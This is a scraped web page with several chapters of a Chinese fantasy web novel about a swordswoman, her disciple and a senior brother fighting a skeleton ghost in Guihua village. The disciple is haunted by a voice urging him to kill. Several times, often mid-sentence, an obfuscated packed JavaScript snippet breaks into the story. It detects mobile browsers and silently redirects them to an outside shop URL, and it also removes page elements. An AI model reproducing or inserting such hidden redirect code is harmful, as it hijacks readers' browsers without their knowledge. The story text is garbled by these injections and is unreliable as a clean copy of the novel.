她伸手把商则的下巴抬起来,这人眉头紧蹙,却依着动作抬起脑袋,问:“怎么了?” 芩竹微微凑近,忽略商则突然闪的极快的睫毛,食指中指点去他眉心,中间的沟壑忽地平整,商则本要闭上的眼睛睁开,看着芩竹神情思索着退回。 正愣神着,耳边传来两声轻笑,带着揶揄的话语响起:“啧啧,我还以为小师妹你要做什么坏事呢,看把我们师弟吓得。” 商则连忙否认:“没有。” “没有?哦……那就是挺期待。”林时乐作恍然大悟状。 商则拧眉,向芩竹看去,对方刚好看过来,有点状况之外:“期待什么?” “没什么。”商则说,同时瞥了眼林时乐,后者摊了摊手,没再说话。 索性也不是什么大事,芩竹没有追问,而是先提了刚才想得事情:“你刚才怎么了?” “我?”商则愣了下,知道她是在问村中那时候,听话回忆了一番,老实回答,“不清楚,有些晕,好像短暂的身体不归我管了。” “是不归你管还是有东西再和你抢?”芩竹进一步问。 闻言,商则摇头:“不太一样……说不清楚。” 林时乐插话:“怎么了?” 芩竹说了商则身上红色丝线的事情,还有上次在后山发狂时的样子,现在还什么都不知道,芩竹只能让商则尽量远离那个地方。 商则自知理亏,乖乖配合。 但也不是一无所获,至少他们知道了桂花村并没有面上那般平静。 可究竟是什么妖鬼,竟能在白日将村子伪装的和寻常无异? 几人都没有头绪,决定入夜后再偷偷去一趟。 是夜,桂花村一里外,停着属于林时乐的那辆招摇马车,车里陆续跳下三人,前两个就要进村时,被最后一人叫住。 “真不让我去?”商则问。 “在这等我们,有事好照应。”芩竹说,给他一个安心的眼神,提着剑和林时乐走了进去。 临进村时,芩竹还回头瞧了眼,远远能看见商则还在原地,她把剑换了个姿势握着,干脆踏进村。 村中家家户户房檐上的灯笼是亮的,道路整洁,看着热闹温馨,可扑面而来的阴冷在这暑月时分竟能将人瘆出一身鸡皮疙瘩。 芩竹紧握剑鞘,另一只手缓慢攥上剑柄,立在林时乐身旁警惕着村中的一切。 忽然,一阵微风划过。 地面上划过几片叶子,不知哪里来的蹴鞠从石头后弹了两下骨碌碌滚到了两人面前,又滚了一圈后,停了下来。 顿时,两人的注意全然投在这蹴鞠上。 芩竹还能看见,编织蹴鞠的藤条,走一簇断裂戳了出来。 风又起,轻轻呼吸,鼻间是烧焦的衣物和干柴的味道。 地上的树叶在风的作用下打着旋,开始缓慢,再慢慢变快,几片叶子连成了圈,发出呼呼的声音。 后方草丛细微的动静便也遮盖住了。 这时,那蹴鞠猛地炸裂开,数团黑影从四面八方扑来,那影子本是一人多高,转瞬间,变得有如小屋般,几个合在一起,遮天蔽日,黑暗瞬间笼罩在两人身上。 说时迟那时快,芩竹长剑出鞘,一道金光从胸前斩过,一击便将这庞大黑影切出了个口子。 她向旁看去,一圆形法阵从林时乐手前震出,顷刻间就将周身的黑影吸了个干净,然后再收回手,手心赫然躺着个鼓鼓囊囊的乾坤袋。 “唉,我当是什么呢,搞那么大阵仗,就这几个野鬼?”林时乐看上去还有些失望,掂两下手里的袋子,将它塞进腰间。 芩竹的剑并没有收回,她拎着剑鞘走到那个最开始负责转移他们注意的蹴鞠前,拨弄了两下。 这小玩意被拨的偏移,顺着坡滚了下去,没什么异常,似乎就是个失败的拙劣手段。 哪里不对呢? 林时乐自觉没趣,已经想念他的好酒好菜了,喊着芩竹要走,听见答复后也不再等在原地,转身回去。 路过一片草丛时,手欠的揪了片草叶往嘴里送。 此时芩竹回身追他,刚好看到了这一幕,自然也没错过那草枝中升腾的黑气,还有草丛里一闪而过的白影。 “别动。” 她迅速将剑鞘掷向林时乐,那人闪身避开接下剑鞘,刚想调侃两句,回头却见村中灯火皆灭,芩竹脚下冒出几道人影,长手长脚向她伸去。 林时乐面色严峻,十根银丝从指间射出,缠住那几道人影向边上扔去。 芩竹也察觉不对,提剑就斩。 然而两人都击了个空,银丝剑尖所过,地下是被他们击碎的尸体。 月光中依稀还能看清样貌,是下午砍柴的那几人。 “不太妙啊……”林时乐站在芩竹身旁。 他的感叹还没结束,就又是一阵窸窸窣窣,两人闻声望去,四面高矮交错的房屋间,摇摇晃晃升起不少人影。 个个形容诡异,像是人,但拉长的手脚又像是长长一条气,在风中歪扭地摇,看上去一点也不经打。 芩竹和林时乐背靠背站着,本该是燥热的时候,此时却溢出一身冷汗。 不知是哪里的枝丫被踩断,极轻的一声“咔嚓”响出,下一刻,四周的鬼影一拥而上,或升长或压扁极速朝着两人冲来。 芩竹快速挽了个剑花,金亮的花纹与空中停滞一瞬,猛地打向冲来的鬼影,可同刚才一般,地下躺着了几具尸体,再很快沉入地底,然后继续从地下化为气升上来。 这些鬼影力大无穷,一只手不怕剑刃,直直挡上来还能将芩竹推得向后踉跄数步。 林时乐亦是不敌,这些东西杀不尽除不掉,此时只能靠着他手中一个方盒里的法阵勉强牵制。 芩竹和他站在阵中,看着外面的鬼影,思考着该怎么脱身,正想着,方盒的光芒忽然暗淡,只听林时乐道了声不好,周边的一圈阵光被突然撕裂了一道口子,有一细长的白影飞速带着破空飞速而来。 芩竹根本是凭着本能挥剑,实际压根没反应过来,就被剑刃和白影对撞出的气震得向后砸去。 她就地翻起,自知不敌矮身去躲,而旁边尽是鬼影避无可避,抬剑要挡才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没了那股压迫,芩竹手也没了力气,垂在一旁,才有余力转眼去看。 不远处的瓦堆里,燃着一团火焰,火焰之下,正是那个诡异地白色鬼影。 芩竹开始反应迟钝,一时没回过神来那是什么,待神思清明,才想到那团火焰代表什么。 “商则——” 嗓子火辣辣地疼,说话都有些蛰。 那团火还在燃烧,就是比之先前弱了不少,白色鬼影还在,细看那两方真是扭打在一起,带起的土块疾风巨大,短短几息都快不见了踪迹。 林时乐冲来拖起她,架着她就要离开这里,那白影真是被压制住了,拦路的鬼影没有刚才般难缠,也算能闯出一条路。 芩竹被林时乐拽着不得劲,那人直接把她扔到背上,运起轻功闯了出去,一口气跑到马车旁才将她拿下来,扶着车框喘气。 “累死我了……欸?你那爱徒呢?” 芩竹手上没劲站得也没多稳,一下子歪倒在地上,闻言向村子里投去个眼神:“在里面呢。” 林时乐:…… 片刻后:“?!” 53. 前尘梦 林时乐暗骂一声,手在车窗上砸了下就要跑进去,芩竹本想阻拦,奈何手脚无力,还不等起身,那人已经跑走了,她这般姿态,也帮不了什么忙,干脆奋力挪上车,一甩缰绳。 这里离桂花村不远,尤其驾车,林时乐自然是没想到芩竹这一出,感觉身旁有东西驶来还觉得奇怪,见是芩竹时才觉懊恼,跳上车来强硬的将马拉停。 正要斥责,芩竹却先他一步:“等等——” 林时乐也感觉到气息,抬臂站在车前,喊道:“快走。” 芩竹没有动作,紧盯着村口出现的东西,应该是人。 从外面望去,村中依旧是一派祥和,村口有个稍高些的木板架,上面按着个村名的牌匾,当作村大门。 如今这大门口处正冒出一圈漩涡,它将夜色囫囵揉杂,甚至还旋出了劲风,马儿不安地踏着步子,高仰着头想要转回去,风打过它的鬃毛,也吹在芩竹拉着缰绳的手上。 她微微用力扯了扯绳子,自己都不知道自己放轻了呼吸,两人都安静地看着那处漩涡。 风忽然停止了一瞬,那漩涡也停下了,下一刻,极速回旋,搅出的风更大,马儿打着响鼻后退几步,芩竹直接放了手跳下车。 她脚下不稳,马匹又逃得飞快,不小心就被侧来的车架绊到,幸好林时乐及时出手,才不至于跪倒在地。 而这时,那漩涡中也终于有了别的动静,狂风卷着周边的草枝树叶胡乱地拍,飞扬的沙土中,一只暗红色的靴子从夜色漩涡中踏了出来。 那是…… “商则。” 芩竹还带着些不确定,撑着林时乐扶着她的手站稳,想要前去看看。 沿着靴子向上,是更加艳丽的红,夹着黑衫,高大宽厚的身躯半弓着探出,另一只脚也从漩涡里抽了出来,身子略带摇晃着前进,有血迹稀稀拉拉地从身上面上砸下,再被踏上前来的鞋底毫不留情地碾进土里。 漩涡还在,风未停歇。 风口处的人弓着的肩背深深起伏两下,发尾混着红色飘带扬起,他抬手在鼻间随意地擦了一把,接着缓缓直起身。 芩竹愣了下,几步远外的那人背着月光,加之大风眯眼,只有个虚虚剪影能看清,还有的,就是浑身燃烧的火焰,包括从眉心处窜上的那条红气。 看样子又是之前那个状况。 她手上没劲,清心诀也不知能不能召出,便想先将这个情形告知给林时乐,可她现在全身力气都是林时乐撑着,这一回头,就像在这人怀里靠着一般。 商则视线一片血红,唯独月光映照下的那片洁白未被侵染,但此时,那白光,被另一人拥在怀里。 完整的人影中有了缺口,他莫名产生了无边的烦躁,脑袋嗡嗡作响,从中竟然还听到自己对自己说——杀了他。 “不行!” 商则说不上是什么感觉,眼中的血气更甚。 芩竹看着他状态过差,扶着林时乐就要过去,一瘸一拐还不忘给他交代一下商则的情况。 可刚起了个头,忽然余光里一道黑影极快闪来,芩竹下意识要躲,没避开,直接被那黑影拦腰带走。 林时乐只来得及听见芩竹说了半个字,下一瞬,手里哪还有什么人,再一看,村口风停,漩涡也没了影,商则不知去向,桂花村依旧是来时那副模样。 他道一声骂,转头跑去寻那马车,急急往客栈中赶。 而前面被黑影掳走的芩竹,同样在状况之外,只是突然受着一下,本就不对位的肋骨更是雪上加霜,连五脏六腑跟着被挤错了位。 她没忍住抽了抽气,往拦着她的人身上拍了把。 这黑影想都不必想,定是商则,可就是这脾性功力,变了太多。 比如此刻,他不但对她的状态置若罔闻,还能抱着她轻功毫不喘息地回到镇子里,又悄无声息地进了客栈。 半刻钟不到,芩竹就被扔在了房间里那张并不舒适的床上。 她瞬间就不想动了,只觉得自己已经死的不能再死。 “嘶……” 商则放下她后,扶着头向后踉跄了两步,像是和什么东西抗争,逐渐站不住,扶着桌子呕出一口血,喘息声在安静的房中格外大。 芩竹艰难抬了抬手,稍微缓了些劲就自己从床上坐起来,看地下的人:“商则,商则?” 那人百忙之中抽空回了她一声,又好像因为这一句才记起她的存在,猛地抬眸。 这一下两人对视,芩竹浑身一震,周边景象扭曲变换,变回了刚才狼藉的桂花村,自己成了村中孤零零的商则。 “她”明显站立不稳,三步之前,是那个白影。 只不过白影清晰,和芩竹之前那瞬间看到的样貌一致,它是一具骷髅。 那时离得近,只能看到一个极具冲击性的骷髅大头,而这次,能看见它的整个身躯。 看起来比自己稍矮一些,骨架较小,胸口位置的骨头说不上是丢失还是断裂了,总之是被一个长而方的黑色长条替代。 不知怎么,骷髅和此刻的“她”都停了下来,三息之后,才又一次攻击,这一击,直接把她弹回了现实。 芩竹急促地喘息几声,睁开眼睛,商则也像才缓过神,打量了她一番,随即赶忙爬过来,轻轻扶着她的胳膊,焦急道:“没事吧,吓死我了,我给你——” 又是这样,出村之后就变回来了? 她觉得这样不行,于是打断商则的话,问道:“商则,你还记得刚才你做了什么吗?” “我……我外面等的心焦才进去的,而且我这不是也没事吗,你还要骂我?” 虽说芩竹的语气从来都是一个平调走到底,但商则少数地能从话里听出些不一样的语气,比如这会,尽管她还是那张冰山脸,他就是觉得这话不是一个简单的询问,于是就顺着回答卖个乖。 从前打个哈哈就过去了,这次芩竹却没有,而是继续追问:“那你我是怎么回来的?” “记得么?” “当然是……” 商则本想回答,开口莫名却卡了壳,话到嘴边才发现对于这段记忆自己一无所知。 他自己都不知道自己失了段记忆。 芩竹看他表情就知道是怎么回事,又道:“第一次去村子里,是不是就有这种情况?” “……是,我一回神就是你生气了,但我不明白。”商则还在难受,干脆坐在地上,侧靠着芩竹的床。 等等…… “我何时生过气?”芩竹问。 商则抬眼:“应该是我以为你生气了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芩竹说着,就想拿过商则手里的瓶子给他也倒一颗出来,而握住那瓶身使劲却没抽动,开始她还以为是自己的手废到如此程度,最后才知道,是商则用力捏着。 他拧眉盯着虚空的一点,表情不太自在,甚至也可以说是,有点凶。 又是怎么了? 她松了手,改在商则脸前挥了挥,问:“想什么呢?太累就去休息一会。” “啊?没有……”商则猛地回神,不住地拧着瓶口的木塞,清了清嗓子,说,“师兄啊,可以的,那我给他送到房里,你快睡吧。” 他这样子实在和没事搭不上边,芩竹按住他要扶自己睡觉的动作,盯着他的眼睛,说:“商则,有事情不要瞒着我,难受也可以来找我,千万不能做错事。” 商则手指轻微颤了颤,很快带上个微笑道:“放心吧,我在这陪你,睡着我再走。” 芩竹本也很困,听到他这一句话后,确定他再没有什么古怪后,贴床就睡。 而商则,他坐在床边,手里的瓷瓶被攥出响声,丹药在里面震得乱撞。 刚刚那道奇怪的自语又出现了。 “杀了那人——” 他不想给把药给林时乐,而且不愿让他活。这是他自己的想法? 54. 前尘梦 芩竹一觉睡到天亮,身上已经好得差不多了,除手腕还有点细微的疼之外,可以说得上是神清气爽。 窗户开着透风,大清早并不是特别热,她坐起来简单收拾一番敲响林时乐的房门。 应是吵醒了那人睡觉,她等了一会,才听到一阵拖拉的脚步,门开了个小缝,林师兄揉着眼睛伸出个脑袋:“这么早?!” 他脸上还带着血痕,看起来没做什么处理,芩竹也就是来看看他是否健在,此番看完放下心,就准备走了:“来看看师兄如何了,按理说师父那药应该挺管用才是……” “睡一觉醒来想起来师兄了……嗯?明夷长老给你带了药,是给我的?”林时乐调侃到一半忽然抓到重点,开始就自己没有收到药控诉芩竹。 芩竹打断这一大早话就如此多的师兄,问:“商则昨夜没找你?” “好端端的,大半夜不找你找我做什么?”林时乐又打了个哈欠,惹得芩竹也有些犯困,她别开眼,摆摆手说没事,将人重新按了回去,反去找商则。 但房间没人,芩竹又去楼下找了也没人,不免生出些别的想法。 索性找不到人,芩竹干脆在楼下买了早饭,灌了些酒慢慢喝着,想着商则要是回来还能在客堂逮个正着,结果爱徒没等来,把那话唠师兄守到了。 林时乐一眼就瞅见了她,招呼了声小二,就一拉凳子坐在了她对面,笑道:“师弟呢,没和你一起?” “不知道去哪了。”芩竹摇头。 “紫竹镇也算是风光无限好,姑娘水灵景色优美,他来这一趟,总不能一直在咱俩跟前待着吧?年轻人有自己的玩乐。”林时乐咋着嘴讲大道理,十分不客气的吃着芩竹的早饭。 芩竹简直不需要思考就否认他这猜想,估摸着也在这师兄面前讲不出别的有用的,就另起一个话题:“昨夜桂花村的事情传回去了?” “回了,当夜我师父就回信了,说会派人来解决。” “这事艰难,弟子恐不好解决。” 林时乐点点筷子:“放心,我都被揍的半死,能打的……咳,反正我师父心里有数,估计来接手的不是二长老就是你师父。” 他停顿那下大概是想说江云初,在玄英顶,这两个大弟子算是佼佼者,而掌门亲传不过三人,此时都在闭关,于他之上就更没有人了。 芩竹点头,表示知道了。 过了一会,就听林时乐又说:“等会来我房里一趟,还记得昨夜抓的小鬼吗,我有个法宝应该能让他们开口讲话。” 估计他是想提前将桂花村内的事情缘由搞清,芩竹肯定是同意的,两人用过饭后,就回了房。 那是个罗盘似的物件,林时乐在它中心轻轻一敲,盘便分成了三个环,由中心的一个小圆球连着,随后他放开手,这盘却依旧如有手所托,悬浮在半空,三个环在空中缓慢围着那圆球翻转。 看得人眼花缭乱。 林时乐掏出乾坤袋,又快速掐诀张开手,房间内瞬间笼上一层微光,芩竹看他一眼,那人朝她努了努嘴:“开袋。” 合着我是个苦力啊。 芩竹依言照做打开袋子,便有几只小鬼飘出,看到他们的时候,身影猛地一闪就要溜,结果一头撞在了墙面的微光上。 “费我半条命,能让你们跑了吗。”林时乐说着,又把芩竹叫到那悬浮的盘后面,芩竹不会用这玩意,只能听他的指示来,手指伸向罗盘,缓缓闭上眼,心念尝试与那几只小鬼牵连。 几条细丝从她额角射出流向四周,她的手竟然穿过了翻转的环,点在中心的小球上。 芩竹不知道,此刻的她,和那几只小鬼的状态一样,如游魂漂浮。 而她现在自然也无心想这些,因为芩竹睁开眼,眼前正是一片黑漆漆的坟地。 这是给她扔哪来了? 远远的,她能见到几个人,敞着汗衫,手里扛着锄头,埋头挖着,嘴里叨叨着什么,此时应当是仲夏末,夜风吹着,很是凉爽,芩竹身在一处杂乱的草丛,也不会闷热。 透过枝叶,她看见那些人挖坑低头,从里面挑拣出了些许物件,和个长条的东西丢到脚边的布包里,仔细看,旁边应该是还有数个大坑。 窃取陪葬品的贼人? 芩竹虽不知道自己身处何地,但看都看见了,便想去拦上一拦,可有人比她更快,怯生生的呵斥响起:“你们住手!” 来人是个小姑娘,三更半夜孤身一人,手里提着锄头,还背着个梅花印子的大包,看上去倒是和那伙人装扮类似。 果然,那伙人也发现了这一点,笑得恶劣:“呦,小丫头也想来分一杯羹。” “不要胡说,你们这么做……会倒大霉的!”姑娘捏着手里的锄头,壮着胆子大声道。 “哈!人都死了,我就算在这撒泡尿天王老子也管不着,哪轮得到你。”其中一个人说着,看起来像是领头。 芩竹见情况不对,忙起身要去帮忙,但此时才发现,自己竟是动弹不得,低头一看,身上穿着短打和破烂长裤,还有双草鞋,怎么看都不是她原本的身子。 倒和乾坤袋里那几只小鬼的打扮相似。 原来林时乐说的问话,是这种方法。 可那姑娘…… 芩竹又抬眼,见那伙人朝姑娘走去,再之后,自己的身体便不受控地向后退去,闹出动静被那几个大汉察觉,就直接转头连滚带爬地跑了。 生平第一次,她逃得如此狼狈,什么也没干成。 也是这会芩竹忽然想到一个问题,她像是大致动作受困于这具身体,而小幅度的动作不会,就比如现在,她竟然能在奔跑中扭过大半身,看到那处的景象。 几人围成了一圈,看不到那姑娘的处境,只能大概瞧见圈中有个瘦小的身影。 芩竹回过头,奔跑中眼前的山路变化,他的脚步渐渐停下,眼前也变成了桂花村的白日。 前面围着许多村民,她藏在最后面,能看见中心站着个大汉,和一个佝偻老汉说着些什么,身后几人抬来个白布盖着的人,那布在颠簸中滑落一角,露出一张惨白的脸。 就是昨日那姑娘。而抬她来的,是坟地的那几个大汉。 这是怎么回事? “听说,苏丫头昨个夜里本是要去给她娘拾骨,结果被欺负了……”一个大娘在前头给旁人解释,指着圈中间的几人小声道,“村长早上路过才见着,唉,本是要去遂州过好日子的。” “啊?唉,真是遭了罪了,那几个壮汉又是何来历?” 大娘摇摇头,说:“听村长说,是门口来接苏丫头进城的远方亲戚,幸亏不怎么亲近,不然见着自家妹妹遇见这种事,心里得多难受。” “唉……不说了不说了。” 村长和那几人人说了两句,便招呼人进去整理旧物,然后带人跟着去下葬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056161|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 芩竹在人堆里站着,自己这具身体个子高,刚好能露出个头来,她看那些人要走,也矮着身子要溜,却在临走时见最后一个大汉忽然斜眼向来看了下,黝黑的脸上竟然带了笑意。 那人应该是认出了她。 显然,身体的原主人也想到了这一点,慌慌忙跑了,芩竹就跟着在他身体里乱晃,转眼又是天黑,她再跟着这小伙于深夜推门而出。 看这架势,应该是要跑路。 路过苏丫头的院子,她看见院里散着个包袱,从里面露出几节森森白骨,包袱上的梅花印子显眼,大概是那日苏丫头用来拾娘亲骨头的。 而旁边几步远,落着个黑色长条。 夜里看不清楚,这会有院里的灯笼照着,那黑色长条特别像之前骷髅胸口嵌着的。 那伙人出了门,此时不知道在哪,这会出去,肯定要被逮到。 果不其然,芩竹这身体小跑几步突然刹住脚,就见前面围来几个大汉,凶神恶煞向她逼来,嘴上说着什么,该说的话别说,或就是让她做些什么。 反正不是自己,芩竹静静等待着接下来发生的事。 但是想象中的殴打并没有来,那几人忽然定住不动了,可分明他们眼珠滴溜溜地转着,显得不安,再之后,便猛地暴起互相啃噬。 边啃,边从嘴里发出痛苦的嚎叫。 这具身子显然被吓坏了,胡乱蹬着地上的土飞也似的窜回了房子。 而芩竹在飞快移动的身体里,看到了立在树后的白影,和苏丫头空荡荡的院子。 在这之后,芩竹就一直缩在房间里,听着邻里讨论谁家遭了贼,谁家失了火,竟是几天内发生了不少怪事。 大家都说村子惹了什么鬼神,想求个大师来压一压,但自己这具身子心里发慌,想的是赶紧从村中离开,次日一早就收拾东西出了屋。 阳光明媚,院中站着一具白骨,胸口那长条散发着黑气,在它之后,是摇晃无神的一众村民。 芩竹微眯了眯眼,那白骨瞬间袭来,下一刻,自己身体一震,向后几步撞在了墙面客栈发出淡淡幽光的墙面上。 “如何?师妹。”林时乐快速收手攥拳,半空的罗盘倏地合拢,几条小鬼也重新被袋子吸了回去。 芩竹揉揉额角,现下倒真像被那白影打了一击,胳膊腿都不得劲,她抽出凳子坐好,才去回答林时乐的问题,将自己刚刚所见所闻讲了。 “可怜人啊……”他叹道,又说,“不过啊,你说那母亲竟能那般厉害,刚刚成型就能青天白日杀了桂花村百来口人?” “不清楚,可能是有别的助力。” 最开始白影在夜中也只是躲在树后,控制着那几人互相残杀,并且也放过了作为路人的自己,村中的怪事在两天后,那白影忽然决定屠了全村,还功力大增。 林时乐对这一助力很是疑惑,芩竹说那黑色长条,他亦是迷惑,一问才知,林时乐竟是没见过那白影的全貌。 “所以你怀疑是那个东西?”他说。 芩竹点头:“那东西害处不小,等师父来了,必须和他讲清楚。” 说到这也没什么聊的了,芩竹自知无趣,干脆告辞,林时乐作为师兄,出于礼貌嬉皮笑脸地请她出去。 “师妹慢走——” 两人齐一开门,芩竹回头准备回他一句,却猛地撞上个人。 “商则?” 55. 前尘梦 “商则?你去哪里了?” 商则抱着手靠在门边,看样子是站了很久,芩竹说罢,又提起昨夜的那瓶药,询问他怎么没有给林时乐。 “太晚了,就没有去打扰师兄。”商则说着,把手里那药瓶递过去,“我清早出门逛了逛。” 他说的随意,可芩竹就是不太相信,林时乐却不知她心中所想,拍拍她的肩:“看吧,我就说年轻人有别的玩乐,咱们不要插手。” 芩竹:如果没记错,我和他一般大吧。 商则抽了抽嘴角,像是个笑,说:“是……对了,刚才你们在做什么?” “抓了几只鬼问问村子发生了什么,过两日明夷长老就要来了。”林时乐说。 “那师兄你在这里接应,我带着商则再去别处走走。”芩竹问。 毕竟离商则生辰也近了,可东西依旧毫无头绪,一刻也耽误不得。 然而平时听话的爱徒今日却摇了头:“我人都到了,也不急于那这一时,要不在镇上玩玩?” 芩竹看着他,因为身高,那人微微垂眸过来,脸上没什么表情,没了平时那种高涨的情绪,人也变得死气沉沉,这副样子,和两人初遇时很像。 “行。”反正关乎的也不是她的性命。 她点点头,跨出房门,即将转身时,又被商则拽住。 “索性无事,现在就出门吧。”商则说着,手掌下移扣住她的手,紧紧拉着她走。 这人身高腿长,还不知是搭错了哪根筋,步子迈得又大又急,芩竹需得小跑着才能跟他并肩,她回看了一眼林时乐,说了声“回见”,话音刚落,便又是一阵大力将她向前一扯。 芩竹踉跄两步,肩膀被人猛地搂紧,几乎是贴着商则的身子被他带出了客栈。 看来师兄说的没错,商则的确是不太想搭理他。 “你早上到底去哪了。” 出了客栈,商则便松了手,芩竹重新绑好腕带,直接问道。 “醉红楼。” “什么?” “就是那。” 她顺着商则指的地方看去,听林时乐讲过,是个烟花场地,不过他大早上跑过去干什么? “你和师兄肯定很忙,我就只能找别人喝喝酒聊聊天。”商则的口气倒真如那楼上买醉的登徒子,可芩竹观察着他的表情,很奇怪,她竟然看到一丝细微的悲伤。 她停下步子,商则余光看见,也转身停下了下来。 芩竹问:“你有心事?” “有,我在想,要不我们走去别处不带师兄了好不好。”这会的商则又和从前一样了。 “但你刚才不是拒绝了吗。”芩竹疑惑,盯着他的眼睛道。 那人神色恍惚了下,随后皱着眉头说:“是,要走也得是他走……” 说着长臂一伸就要来揽过芩竹,而她一直看着商则的表情,对方这一抬眸,便直直对视上。 又是那个凌乱的村庄,还有月色下的白影。 只不过影子闪烁,似乎长高翻出血肉,又忽地近前来,用一张属于商则的脸冷漠无情地说:“杀了他。” 芩竹猛地回神,仿佛刚才从罗盘回忆中弹出一般向后退开,这一下,恰好避过了商则伸来的手。 她懵然抬眼,那人低头,感觉有些不太明白,随即直接跨来一步不容拒绝地揽过芩竹的腰。 “走吧,我带你好好逛逛。” 他们就这么逛了一天,除过芩竹必须要寸步不离地在商则身边之外,再没有比较奇怪的事情发生了。 日落时分,才从镇东边的大湖游船回来。 “怎么样?是不是好看?”商则伸了个懒腰,弯腰对芩竹说着,又像变戏法一般从怀里掏出一袋蜜饯,“给你,先垫垫肚子,等会带你吃饭。” 芩竹接过来,跟着他一道回去,路上碰见了个卖玉饰的铺子,那老板把一对圆玉挂在外面展示,再高喊着“‘你我’一对,象征美好团圆,回家送给娘子,更加和和美美”。 这喊声大,吸引来客,但芩竹却是被旁边的糕点铺子引了去。 无他,实在是有些香。她跟着商则走了一日,快饿死了。 可她没带钱。 于是回头去看那人,却见商则的视线方向与她并不一致,就抬手拍了拍,对方如梦初醒,还不等芩竹开口说个什么,就推着她快步向前走:“吃饭吃饭。” ……也行,起码有东西吃。 入夜,才回到客栈。 芩竹早就困了,趴在床上就要进入梦乡,却在半梦半醒间,又一次见到了那个白影。 或也可以说,是另一个“商则”。 此时芩竹才得以看清,“商则”是由白影胸口的黑色长条中显形的,和商则的装束一样,气质却比他更为狠厉。 她就像个旁观者,在一片黑雾弥漫的地方,看着“商则”出现,再看着商则似乎被牵引着从别处走来。 “商则”开口:“你还没想好?你甘心就这么死掉?” “不然呢,让你杀了林时乐。”商则表情带着不耐。 “不会,你和我融合,就不会死。到时候一切就迎刃而解了,你可以和芩竹继续在玄英顶上生活,林时乐也不会再来。”那个表情十分欠揍的“商则”说。 既然如此那之前那么多人命算什么,肯定没安好心。 商则摆手:“不了,别见。”说罢就要回去。 可转身的动作受困,他低头一看,竟发现脚下不知何时变成了平静的水面,倒影中和他一模一样的人在对着他笑。 “可我就是你,你就是我,如何能‘不见’。” 商则拧眉抬头,不远处的那人依旧在,胸口显出一长道暗色,数缕黑气从他那里涌出,直奔他而来。 “你也觉得他碍事,你也想杀了他的,别掩饰了——”那个“商则”的语气冰冷,如同那天在小巷中轻飘飘的一个字。 芩竹大概摸清了情况,快步跑去想要卸下白骨中的黑色长条,而快要近身时,场景瞬间消失,她一愣,眨眼过后,才是前半夜。 这两日被搞得,觉都睡不好。 醒都醒了,她翻起来想给自己倒杯水,边喝边在窗边发呆,安静的道路上空无一人,睡意又渐渐升起,忽然,角落里那一处黑影却吸引了她的注意。 那是……商则? 睡意消散,她盯着疑似商则的人走出视线,也翻窗小心地跟了出去。过了许久,那人才停下。 芩竹看着眼前熟悉的牌匾,意料之内地,她看见了“桂花村”三个字。 商则浑然不觉,抬步便要进去,芩竹飞身过去抬掌便拦,那人快速避开,两人对视,果然,他眼睛无神,谁也不认识了。 芩竹没有留手,几下挡开他的手,一掌劈在他后颈,然而对方没有晕,芩竹一时失手怕他等会发狂自己控制不住,直接抬脚将人绊倒在地,又一手刀砍去。 身下人的哀嚎声响起,芩竹顿了下,商则无辜地抱着她的手贴上来,喊道:“你快打死我了!” “死不了,放手。”芩竹还打算再来一击。 “别别别,究竟是怎么了?”商则赶紧按下她那只手,急忙站起身卖乖。 芩竹知道他这又是恢复了从前的样子,此时没什么威胁,她便收了手,看着商则熟悉的神情,一字一句道:“商则,别做傻事,不然我救不了你。” 商则愣了愣,扯起一个笑:“放心。” “那你知道你刚才要干什么吗,你看看这是什么地方——桂花村。你三更天来这里玩?” “我……” “不用说了,明日启程离开这里,东西我会带给你。”芩竹也不听他说的,转身便走。 商则敲了敲脑袋,赶忙跟上:“行,你别费心,那我们明日去哪?往北走?邵州也好玩,咱们去那里吧。” 芩竹随意点头,顺便让他住嘴:“明日再说,先睡觉。” “哦……”商则乖巧闭嘴,眼神却是一沉,心中思索,以至于手中握着匕首一夜未眠,在想夜间那个幻境里另一个他对他说的话。 天亮起,他叹了口气,出门去找芩竹。也许离开这里就好了呢。 那人房间里有谈话声传来,是林时乐,商则抬手敲了敲推门走进,笑道:“不是说出发么?” 芩竹点头:“稍等,我在——” 他看到林时乐的手肘忽然移了下,刚好撞在芩竹放在桌面的手上,接着那两人对视一瞬,就听芩竹改口道:“昨日街上有个卖糕点的你认得吗?” “认得,我去给你买来。”商则当作没看见,退了出去。 芩竹“嗯”了声,看着商则跑走,自己都觉得演技拙劣,问:“为何瞒他,其余魂魄在那白影身上,估计他自己早就知道了。” “他知道是一回事,那白影知道是另一回事,明夷长老今夜就能到,杀他个措手不及,”林时乐晃着椅子,点点桌面上的包袱,“你就安心带他走吧,东西到手我再给你传信。” 芩竹道声“多谢”,然后将人赶了出去。 过了不多时,商则回来了,手里还提着几个纸包,刚刚把人支开的事情她早就忘在了脑后,还傻傻问了句是什么东西。 闻见香味后才记起,这谎撒地岔了。 商则无所谓地拆了包裹,把里面的点心码出来推过去:“吃吧,闻着就香。” 送都送来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 